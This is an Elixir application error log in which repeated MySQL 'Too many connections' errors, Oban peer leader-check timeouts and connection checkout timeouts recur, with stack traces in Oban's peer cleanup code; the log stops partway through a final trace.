[Sat Sep  5 21:58:15.242000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:58:27.244000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:58:29.292000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:58:32.089000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:58:36.031000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:58:38.386000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:58:41.032000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:58:44.115000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:58:44.289000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:58:45.799000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:58:54.598000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:58:57.245000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:00.869000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:06.898000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:15.539000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:17.036000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:18.804000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:19.292000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:59:19.830000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:59:24.831000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 21:59:28.853000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 21:59:28.856000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:29.459000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:30.512000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:31.729000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:34.180000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:35.379000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:42.866000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:46.814000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:47.614000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:53.122000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:55.485000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 21:59:55.847000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:01.885000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:00:03.713000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:06.000000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:00:06.288000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:06.886000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:00:09.938000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:11.027000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:00:11.029000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:13.467000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:17.911000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:18.506000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:20.098000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:23.959000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:23.988000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:26.444000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:27.984000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:37.973000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:40.086000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:42.137000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:44.059000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:00:44.322000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:44.455000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:49.060000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:00:51.944000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:53.860000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:00:53.865000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:55.825000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:00:55.942000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:00.460000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:03.902000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:06.112000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:07.448000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:08.930000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:09.136000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:09.326000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:18.919000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:21.734000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:22.381000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:22.735000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:27.406000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:27.891000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:01:28.863000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:01:28.880000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:32.892000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:01:35.766000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:37.058000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
    (myxql 0.7.1) lib/myxql/client.ex:208: MyXQL.Client.recv_packets/5
    (myxql 0.7.1) lib/myxql/connection.ex:104: MyXQL.Connection.handle_execute/4
    (db_connection 2.7.0) lib/db_connection/holder.ex:354: DBConnection.Holder.holder_apply/4
    (db_connection 2.7.0) lib/db_connection.ex:1558: DBConnection.run_execute/5
    (db_connection 2.7.0) lib/db_connection.ex:829: DBConnection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/myxql/connection.ex:41: Ecto.Adapters.MyXQL.Connection.execute/4
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1038: Ecto.Adapters.SQL.execute!/5
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:994: Ecto.Adapters.SQL.execute/6
    (oban 2.19.1) lib/oban/peers/database.ex:191: Oban.Peers.Database.delete_expired_peers/1
    (oban 2.19.1) lib/oban/peers/database.ex:104: anonymous fn/1 in Oban.Peers.Database.handle_info/2
    (ecto_sql 3.12.1) lib/ecto/adapters/sql.ex:1400: anonymous fn/3 in Ecto.Adapters.SQL.checkout_or_transaction/4
    (db_connection 2.7.0) lib/db_connection.ex:1756: DBConnection.run_transaction/4
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/peers/database.ex:108: anonymous fn/2 in Oban.Peers.Database.handle_info/2
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/peers/database.ex:101: Oban.Peers.Database.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3

[Sat Sep  5 22:01:37.059000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:37.857000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:38.820000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:41.662000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:43.241000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:44.150000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:49.499000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:50.466000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:50.887000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:54.029000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:54.615000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:01:58.645000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:01.817000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:04.731000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:10.095000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:02:12.556000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:15.096000 2026] [Oban.Peer:warn] [pid 2816631] [client -] [message: "Oban.Peer.leader?/2 check failed due to {:timeout, {GenServer, :call, [#PID<0.666.0>, :leader?, 5000]}}", source: :oban, module: Oban.Peer]
[Sat Sep  5 22:02:16.385000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:18.141000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (MyXQL.Error) (1040) Too many connections
[Sat Sep  5 22:02:19.780000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) disconnected: ** (DBConnection.ConnectionError) client #PID<0.666.0> timed out because it queued and checked out the connection for longer than 15000ms

#PID<0.666.0> was at location:

    :prim_inet.recv0/3
